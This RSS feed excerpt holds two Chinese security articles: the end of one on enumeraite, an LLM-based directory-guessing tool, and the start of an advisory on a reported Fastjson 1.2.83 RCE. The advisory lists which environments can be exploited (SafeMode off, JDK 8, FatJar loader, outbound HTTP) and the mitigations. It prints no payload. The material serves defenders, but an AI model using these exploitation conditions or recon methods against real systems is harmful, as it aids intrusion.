data-nest-level="4">所以下一次目录字典全是 404，别急着下结论说&#34;后台不存在&#34;。</span></span></p><p cid="n707" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">后台可能不在字典里。</span></span></p><p cid="n708" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">它只藏在目标自己的命名习惯里。</span></span></p><p cid="n709" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">而 AI 最先学会的，可能不是怎么攻击它——而是怎么把这个名字猜出来。</span></span></p><p cid="n710" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/2zriy4.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="enumeraite 的公开发布位置" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000436" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=370e565b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMBzpuDZZUh2Yibic5b0IrtbYL72e6nicPGuibWIGJT3PzfickiaSPYgE7ibQGIKL4Hwq5DjfSwqXVkC5sTRbYh6fI9ulKiaW6QhH0ETECY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n712" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">资料来源</span></span></h2><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n715" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">DEF CON 33 原始 Google Slides</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n717" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">DEF CON 33 原始 PDF 导出（105 页）</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n719" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">Recon Village 议题页：enumeraite</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n721" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">DEF CON Conference 官方演讲视频</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n723" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">enumeraite 研究网站</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n725" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">enumeraite 官方 GitHub 仓库</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n727" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">enumeraite Hugging Face 模型与数据集</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n729" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">固定版本：CLI Commands</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n731" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">固定版本：DNS Validator</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n733" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">固定版本：HTTP Validator</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n735" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">固定版本：Path Function Analysis</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n737" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="link" style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">相关背景论文：Offensive AI: Enhancing Directory Brute-forcing Attack with the Use of Language Models</span></span></span></p></li></ul><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);caret-color: rgb(0, 122, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><p cid="n739" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;" data-nest-level="3"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="4"><span leaf="" data-nest-level="5">本文只讨论授权安全测试、攻击面治理与检测方法。文中的域名和接口均来自公开研究材料或抽象示例，不代表对相关企业当前资产状态的确认。</span></span></p></blockquote><p cid="n740" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">🔚 觉得有用就转给今年负责资产梳理、外网打点、API 安全和护网值守的同事。字典没命中，不代表资产不存在——有时候只是你的字典还不会说目标的方言。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5f7869a3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500628%26idx%3D1%26sn%3D6a9a2a194f4c4b7b1c747315bfe68952">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Jul 2026 10:31:00 +0800</pubDate>
    </item>
    <item>
      <title>关于 Fastjson 1.2.83 RCE 漏洞，看这一篇就够了，包含漏洞细节与影响面分析！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500626&amp;idx=1&amp;sn=dca535f3a68a0add8cba6b4b75cf8cdc</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>messfree</span> <span>2026-07-21 09:42</span> <span style="display: inline-block;">山西</span></p>




  <p>以下文章来源于：MessFreeSecurity</p>
  <strong>MessFreeSecurity</strong>
  <p>提供社区优质咨询服务</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04a529d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F8qOq10zFicMBPgnibmxe7ATHDnDMFib8CZcqjEjxliadjAvzSXsgqLsQNmjhHDCRxeBCIhNWCXeJiczVrEfquiaq0c9wkbNMkhMTwT0IUonNia3mzk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="0 0 []" data-nest-level="2" style="margin-bottom: 24px;"><span leaf="" data-nest-level="3">核心判断：公开样本具有可检索的结构特征，但单条命中只适合作为调查线索。请求侧检索要把入站特征、出站连接和 Java 主机行为串起来，SafeMode 与出站控制继续作为 P0。</span></p><blockquote style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;margin: 18px 0px;padding: 14px 16px;border-left: 5px solid rgb(59, 130, 246);border-radius: 0px 10px 10px 0px;background: rgb(239, 246, 255);color: rgb(30, 58, 95);"><p style="letter-spacing: 0.02em;margin: 2px 0px;color: rgb(30, 58, 95);font-size: 15px;line-height: 1.75;" data-nest-level="3"><span leaf="" data-nest-level="4">信息截点：2026 年 7 月 21 日 07:20（北京时间）这次把作者回复、腾讯云通告、长亭与微步复现、GitHub 公开仓以及本地对照放在一起看。信息比前一天多了，但完整利用的环境限制也更清楚了。</span></p></blockquote><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">先说结论：</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">这件事值得尽快排查，但目前公开的完整 RCE 并不是“只要用了 Fastjson 1.2.83，就能在任意 Java 环境下一次请求直接拿下”。</span></strong></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">现阶段证据最充分的远程利用组合，集中在 Fastjson 1.x、SafeMode 未开启、JDK 8、经典 Spring Boot 可执行 FatJar Loader、不可信 JSON 解析入口，以及目标能够访问攻击者可控 HTTP 资源。少一个条件，结果就可能从完整代码执行退化为出站请求、解析异常，或者完全走不到远程加载。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">长亭最新截图进一步说明，厂商已经在受控容器中跑出了命令执行；但截图对关键技术细节做了打码，没有展示资源协议、ClassLoader、SafeMode 状态和网络请求。它能确认“特定 JDK 8 容器环境中复现成功”，还不足以直接确认长亭采用的就是 GitHub 上流传的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">链。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">因此，当前比较合适的态度是：</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">认真处置，不必把所有 Fastjson 应用都按已失陷看待。先筛选真正踩中利用条件的服务，再把 SafeMode 和限制出站作为 P0 缓解同步落地。</span></strong></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">作者究竟确认了哪些内容</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">Kirill Firsov 最初公开的信息并不复杂：Fastjson 1.2.83 存在其所称的 gadget-free RCE，不依赖传统 classpath gadget，一次 payload 可以进入代码执行。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">他随后在原帖讨论串中补充了三点：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">影响范围确认到 1.2.68—1.2.83；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 1.x 仓库已经归档，不会再出现 1.x 修复版本，建议启用 SafeMode 或迁移 Fastjson2；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">完整技术文章会在受影响方获得修复时间后发布。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="Firsov 原始帖子及作者在评论串中的回复" class="rich_pages wxw-img" data-ratio="1.875" data-type="png" data-w="600" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000826" src="https://wechat2rss.xlab.app/img-proxy/?k=c5c39a18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMBAxlRUanic4pQXuic6HgTljGJvy0kLU7CE2nUts8I3ZYwl73tqqtQRndxxKA1HLRNTl2oX8jRJVAocc16BKmJRzZYqwCVpDPvPo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：原帖及作者本人在讨论串中的三条补充。版本范围、无传统 gadget、1.x 无补丁和披露节奏均可直接核对。来源：X。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">之后，Firsov 又确认了一个更贴近业务的场景：</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">JSON.parseObject(body, Dto.class)</span></code><span leaf="" data-nest-level="3">中，攻击者只控制请求 body，也在其风险描述范围内。仅靠绑定 DTO 不足以完成缓解。</span></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;margin: 20px 0px 6px;" data-nest-level="2" nodeleaf=""><img data-aistatus="1" alt="Firsov 关于 DTO 绑定的补充及评论者追问" class="rich_pages wxw-img" data-ratio="1.825" data-type="png" data-w="600" style="display: block;width: 688px;height: auto;margin: 20px auto 8px;border-radius: 12px;border: 1px solid rgb(219, 228, 238);box-shadow: rgba(15, 23, 42, 0.08) 0px 8px 26px;" data-imgfileid="100000825" src="https://wechat2rss.xlab.app/img-proxy/?k=cc21ea79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMASS6nfG19ZaNAtDezibiac7DWN0VfQWjWibwTfbRiaABqua9OV15T4aVRhnz7gKvoBR91pXnxWDLXHZnHFlUAsP2qshCjWiacXjd50%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.02em;margin: 6px 4px 24px;color: rgb(100, 116, 139);font-size: 13px;line-height: 1.65;text-align: center;" data-nest-level="2"><em style="font-style: normal;color: rgb(100, 116, 139);" data-nest-level="3"><span leaf="" data-nest-level="4">图：顶部为作者关于 typed parseObject 的补充，底部为评论者追问。DTO 是否必须为业务自定义类，公开讨论中仍没有进一步答案。来源：X。</span></em></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 